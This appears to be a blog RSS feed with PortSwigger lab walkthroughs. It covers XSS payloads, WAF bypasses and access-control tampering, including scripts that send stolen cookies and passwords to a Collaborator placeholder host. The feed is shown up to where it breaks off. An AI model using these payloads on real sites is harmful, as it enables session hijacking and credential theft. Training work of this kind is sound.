<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[portswigger labs walkthrough]]></title><description><![CDATA[portswigger labs walkthrough]]></description><link>https://pentesting.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Thu, 03 Sep 2026 15:31:01 GMT</lastBuildDate><atom:link href="https://pentesting.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[XSS LABS - vulnerability in search box ]]></title><description><![CDATA[Important links

XSS CHEATSHEET


Reflected XSS
Lab: Reflected XSS into HTML context with nothing encoded

paste in search box

lab solved



Stored XSS - vulnerability in comment box
Lab: Stored XSS ]]></description><link>https://pentesting.hashnode.dev/xss-labs-vulnerability-in-search-box</link><guid isPermaLink="true">https://pentesting.hashnode.dev/xss-labs-vulnerability-in-search-box</guid><dc:creator><![CDATA[Piyush Shende]]></dc:creator><pubDate>Sat, 11 Apr 2026 20:20:37 GMT</pubDate><content:encoded><![CDATA[<p>Important links</p>
<ol>
<li><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">XSS CHEATSHEET</a></li>
</ol>
<hr />
<h2>Reflected XSS</h2>
<h3>Lab: Reflected XSS into HTML context with nothing encoded</h3>
<ol>
<li><p>paste in search box</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h2>Stored XSS - vulnerability in comment box</h2>
<h3>Lab: Stored XSS into HTML Context with nothing encoded</h3>
<ol>
<li><p>write in comment box and do the comment</p>
</li>
<li><p>go back to blog</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h2>DOM BASED XSS - alphanumeric string make changes in "img src" tag</h2>
<h3>Lab:DOM XSS in document.write sink using source <a href="http://location.search">location.search</a></h3>
<ol>
<li><p>write "&gt; in serch box</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab : DOM XSS in document.write sink using source <a href="http://location.search">location.search</a> inside a select element --- XSS in product of website</h3>
<ol>
<li><p>open web page select any product and click on it</p>
</li>
<li><p>in page url add this &amp;storeId="&gt;&lt;img%20src=1%20onerror=alert(1)&gt; and hit enter</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: DOM XSS in innerHTML sink using source <a href="http://location.search">location.search</a></h3>
<ol>
<li><p>in search bar paste this &lt;img src=1 oneerror=alert (1) &gt;</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: DOM XSS in jQuery anchor href attribute sink using <a href="http://location.search">location.search</a> source --- XSS in url sourcePath</h3>
<ol>
<li><p>open lab select any post leave any comment on it and submit it</p>
</li>
<li><p>in url we get to see returnPath paremeter</p>
</li>
<li><p>in that paste this javascript:alert(document.cookie)</p>
</li>
<li><p>solved lab</p>
</li>
</ol>
<hr />
<h3>Lab: DOM XSS in jQuery selector sink using a hashchange event --- deliver link to victim to download any thing in pdf</h3>
<ol>
<li><p>open lab and copy the lab link</p>
</li>
<li><p>open exploit server -{server use to deliver link to victim}</p>
</li>
<li><p>in bosy section add this <code>&lt;iframe src="</code><a href="https://YOUR-LAB-ID.web-security-academy.net/#"><code>https://YOUR-LAB-ID.web-security-academy.net/#</code></a><code>" onload="this.src+='&lt;img src=x onerror=print()&gt;'"&gt;&lt;/iframe&gt;</code></p>
</li>
<li><p>click view exploit and then deliver it to victim from exploit server</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: DOM XSS in ANgular JS expression with angle brackets and double quote HTML-encoded -- vulnerability in search box</h3>
<ol>
<li><p>open the search box enter any alphanumeric string</p>
</li>
<li><p>open page source of webpage and see random strings enclosed in ng-app</p>
</li>
<li><p>enter this {{$on.constructor('alert(1)')()}} in search box</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: Reflected DOM XSS</h3>
<p>solve by temperting character used in XSS see which one is unblockef</p>
<ol>
<li><p>in search box type this \"-alert(1)}//</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: Stored DOM XSS</h3>
<p>This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the alert() function</p>
<ol>
<li><p>open lab open any post and post this in comment &lt;&gt; &lt;img src=1 onerror=alert (1)&gt;</p>
</li>
<li><p>lab solved</p>
<hr />
</li>
</ol>
<h1>XSS CONTENTS</h1>
<h2>Between HTML tags</h2>
<p>When the XSS context is text between HTML tags, you need to introduce some new HTML tags designed to trigger execution of JavaScript.</p>
<p>Some useful ways of executing JavaScript are:</p>
<pre><code class="language-plaintext">&lt;script&gt;alert(document.domain)&lt;/script&gt;
&lt;img src=1 onerror=alert(1)&gt;
</code></pre>
<h3>Lab: reflected XSS into HTML content with nothing encoded</h3>
<p>This lab contains a simple reflected cross-site scripting vulnerability in the search functionality.</p>
<p>To solve the lab, perform a cross-site scripting attack that calls the alert function.</p>
<ol>
<li><p>open lab search this in searchbox</p>
<pre><code class="language-plaintext">&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: Stored XSS into HTML context with nothing encoded</h3>
<p>This lab contains a stored cross-site scripting vulnerability in the comment functionality.</p>
<p>To solve this lab, submit a comment that calls the alert function when the blog post is viewed.</p>
<ol>
<li><p>open lab then open any post and do comment on post</p>
<pre><code class="language-plaintext">&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<blockquote>
<h3>Lab: Reflected XSS into HTML context with most tags and attributes blocked</h3>
</blockquote>
<blockquote>
<p><mark class="bg-yellow-200 dark:bg-yellow-500/30">Bypassing Web Appliation Firewall For XSS</mark></p>
</blockquote>
<p>This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors.</p>
<p>To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the print() function.</p>
<ol>
<li>open lab in searchbox write this</li>
</ol>
<pre><code class="language-plaintext">&lt;img src=1 onerror=print()&gt;
</code></pre>
<ol>
<li><p>by searching abover paramater we got and error that this method is not allowed</p>
</li>
<li><p>now catch thsi response in burps http history</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/e910224b-3aeb-491f-a0ea-9b66939e1e64.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li>now wend this request to burp intruder and in search paramater remove the paramater and write &lt;&gt; this and add it to oerform attack</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/7be08384-c2d9-48ae-bbb5-61875f4b71e2.png" alt="" style="display:block;margin:0 auto" />

<img alt="" style="display:block;margin:0 auto" />

<ol>
<li><p><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">click here to get XSS CHEATSHEET</a> copy the tags to payload after getting XSS CHEATSHEET paste this in burps payload option</p>
</li>
<li><p>start the attack we can see we got the payload</p>
</li>
</ol>
<pre><code class="language-plaintext">body
</code></pre>
<ol>
<li>now add body%20=1 in between &lt;&gt; like this</li>
</ol>
<pre><code class="language-plaintext">&lt;body%20=1&gt;
</code></pre>
<p>place the cursor before = and add the parameter between it to bruteforce it like this</p>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/91a4bdaf-28af-4a98-89e0-a9d16a149aa3.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li><p>now visit again on <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">XSS CHEATSHEET</a> now copy the events from it and app to payload and start the brute force on it</p>
</li>
<li><p>now while bruteforcing we get status code 400 in every parameter but on onresize parameter we get 200 ok atatus like this</p>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/0c5d5ec1-0c90-4d96-af0b-3ee73992dbcd.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li>open the labs exploit server and paste this in it</li>
</ol>
<pre><code class="language-plaintext">&lt;iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'&gt;


Lab link:
https://0a060080045e67d78005120b00f800ca.web-security-academy.net/
</code></pre>
<p>in aboves iframe tag we can change the value like in 1st bruteforcing tags we got body 200 ok status and in 2nd bruteforcing events we got onresize 200 ok status</p>
<p>now store the payload and deliver it to victim and now lab is solved</p>
<hr />
<blockquote>
<h3>Lab: Reflected XSS into HTML context with all tags blocked except custom ones</h3>
</blockquote>
<blockquote>
<p><mark class="bg-yellow-200 dark:bg-yellow-500/30">we cant send any html tag but we can send the js script</mark></p>
<p><mark class="bg-yellow-200 dark:bg-yellow-500/30">This lab blocks all HTML tags except custom ones.</mark></p>
</blockquote>
<p>To solve the lab, perform a cross-site scripting attack that injects a custom tag and automatically alerts document.cookie.</p>
<ol>
<li><p>copy your lab id</p>
</li>
<li><p>go to exploit server &amp; write this</p>
</li>
</ol>
<pre><code class="language-plaintext">&lt;script&gt;
location = 'https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cxss+id%3Dx+onfocus%3Dalert%28document.cookie%29%20tabindex=1%3E#x';
&lt;/script&gt;

in place of YOUR-LAB-ID paste your lab id

https://0ab200420435e0d080fa53ff008b006a.web-security-academy.net/
</code></pre>
<ol>
<li><p>so sotre this payload on exploit server and deliver it</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: Reflected XSS with event handlers ans href attribute blocked</h3>
<p>This lab contains a reflected XSS vulnerability with some whitelisted tags, but all events and anchor href attributes are blocked.</p>
<p>To solve the lab, perform a cross-site scripting attack that injects a vector that, when clicked, calls the alert function.</p>
<p>Note that you need to label your vector with the word "Click" in order to induce the simulated lab user to click your vector. For example:</p>
<pre><code class="language-plaintext">&lt;a href=""&gt;Click me&lt;/a&gt;
</code></pre>
<ol>
<li>copy your lab id and replace it here</li>
</ol>
<pre><code class="language-plaintext">https://YOUR-LAB-ID.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E

replace lab id with YOUR-LAB-ID 

lab id from url : 0a3c00e404665a1480e8440d0015006d

after psted lab id in URL :

https://0a3c00e404665a1480e8440d0015006d.web-security-academy.net/?search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
</code></pre>
<ol>
<li><p>open this URL in new page</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: reflected XSS with some SVG markup allowed</h3>
<blockquote>
<p><mark class="bg-yellow-200 dark:bg-yellow-500/30">allowing svg tag &lt;svg&gt; before any tag like :</mark></p>
<p><mark class="bg-yellow-200 dark:bg-yellow-500/30">&lt;svg&gt;&lt;animatetransform%20=1&gt;</mark></p>
</blockquote>
<blockquote>
<p><em><strong><mark class="bg-yellow-200 dark:bg-yellow-500/30">1st bruteforce the tags of xss in search box then use that tag with svg paramater to bruteforce the event</mark></strong></em></p>
</blockquote>
<h2><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">XSS XHEATSHEET</a></h2>
<p>This lab has a simple reflected XSS vulnerability. The site is blocking common tags but misses some SVG tags and events.</p>
<p>To solve the lab, perform a cross-site scripting attack that calls the alert() function.</p>
<ol>
<li>open lab in search box type this</li>
</ol>
<pre><code class="language-plaintext">&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
<ol>
<li><p>see we got an error while we have searched above script in search box</p>
</li>
<li><p>now capture the request of search box and send it to intruder</p>
</li>
<li><p>send a request wirth plain text to intruder not with encoding form</p>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/bf03ac35-5f9f-4c19-b9a9-03833e4c39a0.png" alt="" style="display:block;margin:0 auto" />
</li>
<li><p>clear the request parameter and inplace of it write this</p>
</li>
</ol>
<pre><code class="language-plaintext">&lt;&gt;
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/c88fa16f-7f0d-437f-a940-43499a1d9666.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li>add this is intruders attack to perform brute force of tags from XSS CHEATSHEET like this</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/1339bf2e-c4f9-4bc3-865e-61862288b6cf.png" alt="" style="display:block;margin:0 auto" />

<ol>
<li><p>while bruteforcing we gat status of all tags 400 but we got 200 ok status of animatetransform tag so we will use it with svg tag to bruteforce the event like this</p>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/bb7aace7-16b5-45cb-9607-6677a79a557f.png" alt="" style="display:block;margin:0 auto" /></li>
</ol>
<pre><code class="language-plaintext">&lt;svg&gt;&lt;animatetransform%20=1&gt;
</code></pre>
<ol>
<li>add the bruteforcing cursur before the = like this</li>
</ol>
<pre><code class="language-plaintext">&lt;svg&gt;&lt;animatetransform%20§§=1&gt;
</code></pre>
<ol>
<li><p>now copy the EVENTS from XSS CHEATSHEET and paste it to payload</p>
</li>
<li><p>now we got the event with 200 ok status name as</p>
</li>
</ol>
<pre><code class="language-plaintext">onbegin
</code></pre>
<ol>
<li><p>so now we got the TAG and also EVENT so now we can exploit the using adding thsi in URL</p>
<pre><code class="language-plaintext">/?
search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin=alert(1)%3E
</code></pre>
</li>
<li><p>add this request in our existing lab URL</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h1>XSS in HTML tag ATTRIBUTE</h1>
<p>When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one. For example:</p>
<pre><code class="language-html">"&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;
</code></pre>
<h3>Lab: Reflected XSS into attribute with angle brackets HTML-encoded</h3>
<ol>
<li>in search box submit this script</li>
</ol>
<pre><code class="language-html">"onmouseover="alert(1)
</code></pre>
<ul>
<li>then lab is solved</li>
</ul>
<hr />
<h3>Lab: Stored XSS into anchor href attribute with double quotes HTML-encoded</h3>
<ol>
<li><p>in any post's comment box type this</p>
</li>
<li><p>also in every box</p>
<pre><code class="language-html">javascript:alert(1)
</code></pre>
<p>lab Solved</p>
<hr />
<h3>Lab: Reflected XSS in canonical link tag</h3>
<ol>
<li>open lab copy your lab id and passte in this URL and open in page</li>
</ol>
</li>
</ol>
<pre><code class="language-plaintext">https://YOUR-LAB-ID.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
</code></pre>
<p>now after changing lab id open this URL in new page</p>
<p>lab solved</p>
<hr />
<h1>XSS into javascript</h1>
<h3>Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped</h3>
<ol>
<li>in search box submit this</li>
</ol>
<pre><code class="language-plaintext">&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;
</code></pre>
<ol>
<li>lab solved</li>
</ol>
<hr />
<h3>Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded</h3>
<ol>
<li><p>open lab in search box type any alphanumeric alphabet and intercept it and send it to repeater</p>
</li>
<li><p>observe that this string has been reflected in javascript string</p>
</li>
<li><p>now replace that alphanumeric string with this</p>
</li>
</ol>
<pre><code class="language-plaintext">'-alert(1)-'
</code></pre>
<ol>
<li>lab solved</li>
</ol>
<hr />
<p>Some applications attempt to prevent input from breaking out of the JavaScript string by escaping any single quote characters with a backslash. A backslash before a character tells the JavaScript parser that the character should be interpreted literally, and not as a special character such as a string terminator. In this situation, applications often make the mistake of failing to escape the backslash character itself. This means that an attacker can use their own backslash character to neutralize the backslash that is added by the application.</p>
<p>For example, suppose that the input: ';alert(document.domain)//</p>
<p>gets converted to: ';alert(document.domain)//</p>
<p>You can now use the alternative payload: ';alert(document.domain)//</p>
<p>which gets converted to: \';alert(document.domain)//</p>
<hr />
<h3>Lab: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped</h3>
<ol>
<li><p>submit any alphanumeric string in searchbox and intercept it in burp and send it to repeater</p>
</li>
<li><p>in reoester change the paremater value to</p>
</li>
</ol>
<pre><code class="language-plaintext">test'payload

test\payload
</code></pre>
<ol>
<li><p>we can't see any response</p>
</li>
<li><p>so now put this</p>
</li>
</ol>
<pre><code class="language-plaintext">\'-alert(1)//
</code></pre>
<ol>
<li>lab solved</li>
</ol>
<hr />
<h3>Lab: Reflected XSS in a JavaScript URL with some characters blocked</h3>
<ol>
<li>copy your lab id and paste in this link</li>
</ol>
<pre><code class="language-plaintext">https://YOUR-LAB-ID.web-security-academy.net/post?postId=5&amp;%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
</code></pre>
<ol>
<li><p>now open this in new web page</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped</h3>
<ol>
<li><p>open lab select any post to do comment</p>
</li>
<li><p>in comment box type any alphanunmeric string and with burp watch it that its oneclick</p>
</li>
<li><p>so in comment box submit this</p>
</li>
</ol>
<pre><code class="language-plaintext">http://foo?&amp;apos;-alert(1)-&amp;apos;
</code></pre>
<ol>
<li>lab solved</li>
</ol>
<hr />
<h3>Lab: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped</h3>
<ol>
<li>in seaech box submit this</li>
</ol>
<pre><code class="language-plaintext">${alert(1)}
</code></pre>
<ol>
<li>lab solved</li>
</ol>
<hr />
<h1>* IMP * Exploiting XSS Vulnerabilities</h1>
<blockquote>
<p>session / cookie HIjacking</p>
</blockquote>
<h3>Lab: Exploiting cross-site scripting to steal cookies</h3>
<ol>
<li><p>open burp collabrator and click copy to clipboard</p>
</li>
<li><p>the copied doain from collabrator paste in in the script</p>
</li>
<li><pre><code class="language-javascript">&lt;script&gt;
fetch('https://BURP-COLLABORATOR-SUBDOMAIN', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
&lt;/script&gt;
</code></pre>
</li>
<li><p>now paste this script with collabrator domain in the comment section</p>
</li>
<li><p>in collabrator click pollnow and wait fot the response</p>
</li>
<li><p>copy that cookie we got in response of burps collabrator</p>
</li>
<li><p>replace your cookies with that cookie</p>
</li>
<li><p>now we got the admin access</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
<h3>Lab: Exploiting cross-site scripting to capture passwords</h3>
<blockquote>
<p>cookie hijacking se password chorna</p>
</blockquote>
<ol>
<li><p>open burps collabrator and click copy to clip board</p>
</li>
<li><p>and paste that collabrators domain in this script</p>
</li>
<li><pre><code class="language-javascript">&lt;input name=username id=username&gt;
&lt;input type=password name=password onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});"&gt;
</code></pre>
<ol>
<li><p>now paste this script in the comment box and submit it</p>
</li>
<li><p>now in collanbrator tab click poll now and wait for HTTP response</p>
</li>
<li><p>steal the USER_ID and PASSWORD of other user acccount</p>
</li>
<li><p>login with that userid and password</p>
</li>
</ol>
</li>
</ol>
<p>lab solve</p>
<hr />
<h3>Lab: Exploiting XSS to bypass CSRF defenses</h3>
<ol>
<li><p>open the lab and login with given user id and password</p>
</li>
<li><p>after login we can see that we have an option to update an email</p>
</li>
<li><p>if you view the source for the page, you'll see the following information:</p>
<pre><code class="language-plaintext">You need to issue a POST request to /my-account/change-email, with a parameter called email.
There's an anti-CSRF token in a hidden input called token.
</code></pre>
<p>This means your exploit will need to load the user account page, extract the CSRF token, and then use the token to change the victim's email address.</p>
</li>
<li><pre><code class="language-javascript">&lt;script&gt;
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&amp;email=test@test.com')
};
&lt;/script&gt;
</code></pre>
</li>
<li><p>now psate this script in posts somment box</p>
</li>
<li><p>This will make anyone who views the comment issue a POST request to change their email address to <a href="mailto:test@test.com">test@test.com</a>.</p>
</li>
<li><p>lab solved</p>
</li>
</ol>
<hr />
]]></content:encoded></item><item><title><![CDATA[LABS]]></title><description><![CDATA[AUTHENTICATION LABS

💡
Broken Access lab's Solution begin's here


1) Unprotected admin functionality - Vertical Privilege Escalation
Open the lab


In LAB url add /robots.txt at the end and hit ente]]></description><link>https://pentesting.hashnode.dev/labs</link><guid isPermaLink="true">https://pentesting.hashnode.dev/labs</guid><dc:creator><![CDATA[Piyush Shende]]></dc:creator><pubDate>Fri, 03 Apr 2026 07:38:39 GMT</pubDate><content:encoded><![CDATA[<h1>AUTHENTICATION LABS</h1>
<div>
<div>💡</div>
<div>Broken Access lab's Solution begin's here</div>
</div>

<h3>1) Unprotected admin functionality - Vertical Privilege Escalation</h3>
<h3>Open the lab</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/34706e5b-3978-406b-9bea-21fabb635e3f.png" alt="" style="display:block;margin:0 auto" />

<h3>In LAB url add /robots.txt at the end and hit enter</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/e349e548-fd93-436a-877a-ac4889c11506.png" alt="" style="display:block;margin:0 auto" />

<h3>After opening robots.txt we got new directory of admin panel now open that directory</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/29cad2b2-f9db-4234-b62b-2af7f867056e.png" alt="" style="display:block;margin:0 auto" />

<h3>after opening the admi directory we can see two users to delete delete user carlos and sole the lab</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/2db406e3-1a21-4885-b256-0d8f1c745abb.png" alt="" style="display:block;margin:0 auto" />

<h3>after deleting the user carlos we have solved the lab</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/f9fb3e0f-43d6-4a0f-a549-9ea4f7564f3b.png" alt="" style="display:block;margin:0 auto" />

<h3>Hence we have solved the lab</h3>
<h3>Conclusion : this is vertical privilege escalation by which we can get access of other roles users and modify the data</h3>
<hr />
<h3>2) Unprotected Admin functionality with unpredictable URL</h3>
<h3>open lab home page and open burpsuite see the traffic of home page</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/afdad29b-d628-4203-9c40-ded653a8f020.png" alt="" style="display:block;margin:0 auto" />

<h2>in home page traffic observe the java script and admin and find the admin directory in it</h2>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/36e8c43e-1633-4e3b-9854-2f8d405a5745.png" alt="" style="display:block;margin:0 auto" />

<h3>copy that path and add it to webpage last and open the admin panel adn dele the user carlos and solve the lab</h3>
<hr />
<h2>Paramater-based access control Method</h2>
<h3>3) User role controlled by request parameter</h3>
<h3>Open the lab's home page and we have instruction that admin page is located at /admin but can't access it</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/b43ccd33-a88f-48de-b8bc-e6106b3b2624.png" alt="" style="display:block;margin:0 auto" />

<h3>now try to open admin directory and intercept that request in burpsuite in cookie add this parameter ; Admin=true and forward the request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/b215fa79-b427-4dca-a445-36f23af38a4d.png" alt="" style="display:block;margin:0 auto" />

<h3>now we can get the admin panel</h3>
<h3>after access geting access to admin panel click on delete user and also intercept it and in its acookie also add ; Admin=true and forward it and we can delete the userd</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/a78a7474-1d30-4264-8488-c77b8112fb6b.png" alt="" style="display:block;margin:0 auto" />

<h3>we have solved the lab</h3>
<hr />
<h3>4) User Role can be Modified in user profile</h3>
<h3>Open lab login as wiener:peter</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/a55c22c6-4315-4da4-baea-20460eb9512e.png" alt="" style="display:block;margin:0 auto" />

<h3>now try to chage the email address and see the request in busp's http history tab and send it to repeater and in repeater tab</h3>
<h3>in email change request add this paramater in json file</h3>
<h3>"roleid":2 and send the request now we can see that our role id has been chaged from 1 to 2</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/eca922af-4591-4501-8a69-13598c8261cd.png" alt="" style="display:block;margin:0 auto" />

<h3>After this we can get acces to admin panel</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/a86844ff-c965-493c-94ff-2c0a601d53d2.png" alt="" style="display:block;margin:0 auto" />

<h3>now click on Admin Panel and delete the user and solve the lab</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/aea25153-5507-4541-a70e-a7fbf0624fd5.png" alt="" style="display:block;margin:0 auto" />

<h3>We have solved the lab</h3>
<hr />
<h3>Broekn access control resulting from platform misconfiguration</h3>
<h3>5) URL -Based access control can be circumvented</h3>
<h3>open the lab and also open the burpuite</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/da22c743-9205-4399-936d-5e1e03624304.png" alt="" style="display:block;margin:0 auto" />

<h3>in url add /admin we can see that we dont have access of it now intercept this request in burpsuite and mocify this request</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/e0f964b4-dc01-402b-ae07-ae7995f691fb.png" alt="" style="display:block;margin:0 auto" />

<h3>After this we got access to admin panel</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/3f595d69-e971-4679-bfe0-c42438fa8d7c.png" alt="" style="display:block;margin:0 auto" />

<h3>After this click on delete carlos and intercept the request and modify it add /?username=carlos and X-Original-URL /admin and forward it</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/6541ca0f-0b32-4da4-95e0-8c8967d3247a.png" alt="" style="display:block;margin:0 auto" />

<h3>And we have solved the lab</h3>
<img src="https://cdn.hashnode.com/uploads/covers/69b2df7f6682aff0220ccadf/959de007-622a-4115-a0d7-8dbaf8753e9a.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h3>Lab: Method Based Access Control can be circumvented</h3>
<ol>
<li><p>open the lab 1st in portswigger browser another in firefox browser</p>
</li>
<li><p>in portswigger browser login as "administrator" and upgrade carlos user to admin and catch all this HTTP request in burps HTTP HITSOTY TAB</p>
</li>
<li><p>send the request of USER ROLE UPGRADE to repeater</p>
</li>
<li><p>logout as administrator from burps browser and login as wiener:peter and click on my account and catch all these request burps HTTP HISTORY TAB</p>
</li>
<li><p>The request of Wieners My-account send it to repeater</p>
</li>
<li><p>so now in repeater we have two tabs on e is carlos user upgradation and and another is wieners my-account</p>
</li>
<li><p>copy the cookie of wieners account and paste in carlos account cookie and send the request and we got the response "unauthorized"</p>
</li>
<li><p>Now after getting the message "unauthorized" change the Method of request from POST to GET and and inn place of carlos write wiener send it</p>
</li>
<li><p>Our lab is solved</p>
</li>
</ol>
<p>Conclusion : login as administrator catch the request and send it to repeatge ---&gt; upgrade the user carlos from admin panel catch the request and and send it to repeater --&gt;logout ----&gt; now login as wiener peter and click on my account and catch the request and send to repeater ----&gt; no win pepeater we have 2 tabs on of carlos user upgradation and another is wieners account type ---&gt; copy the cookie of wiener user and paste in carlos cookie and change the request form to GET and put name of wiener in place of carlos and senf the request and we have solved the lab</p>
<hr />
<h1>HORIZONTAL PRIVILEGE ESCALATION</h1>
<h3>Lab: user ID Controlled by request parameter</h3>
<ol>
<li><p>open the lab login as wiener peter after login in it see inn link we have id parameter as /my-account?id=wiener</p>
</li>
<li><p>change the user name wiener to carlos and then we can get teh API key, Copy it and submit it to solution and solve the lab</p>
</li>
</ol>
<hr />
<h3>Lab : User ID controlled by request parameter, with unpredictable user IDs</h3>
<ol>
<li><p>Open the lab and see the post by carlos and clik on carlos id</p>
</li>
<li><p>copy the carlos user id</p>
</li>
<li><p>now login as wiener:peter</p>
</li>
<li><p>now in wiener's account change the user id with carlos id</p>
</li>
<li><p>and now we ca see new api key when we have pste the GUID of carlos in wiener's account</p>
</li>
<li><p>copy that API link and submit to solution submittion</p>
</li>
<li><p>solved the lab</p>
</li>
</ol>
<hr />
<h3>Lab: User ID controlled by request parameter with data leakage in redirect</h3>
<ol>
<li><p>open the lab login as wiener:peter and catch the request where parameter is user=wiener</p>
</li>
<li><p>send that request to repeater and change the username to carlos and send it</p>
</li>
<li><p>in response we can get the api key of carlos</p>
</li>
<li><p>submit the carlos API key to submission panel</p>
</li>
<li><p>solved the lab</p>
</li>
</ol>
<hr />
<h1>HORIZONTAL TO VERTICAL PRIVILEGE ESCALATION</h1>
<p>If Attacker has get in to the any USER ACCOUNT so its a Horizintal privilege escalation</p>
<p>after getting access to any USER ACCOUNT if he get in to ADMIN PANEL account with changing the id paramater or GUID's or tampering the ID's so its a Vertical privilege escalation</p>
<p>so this was Horizontal to vertical Privilege Escalation</p>
<p>EG: 1st get access of user XYZ and the by tampering the user id or GUID's get access of admin panel</p>
<h3>LAB-User ID controlled by request parameter with password disclosure</h3>
<p>"login as WIENER:PETER and Get access to ADMIN PANEL and DELETE the USER CARLOS"</p>
<ol>
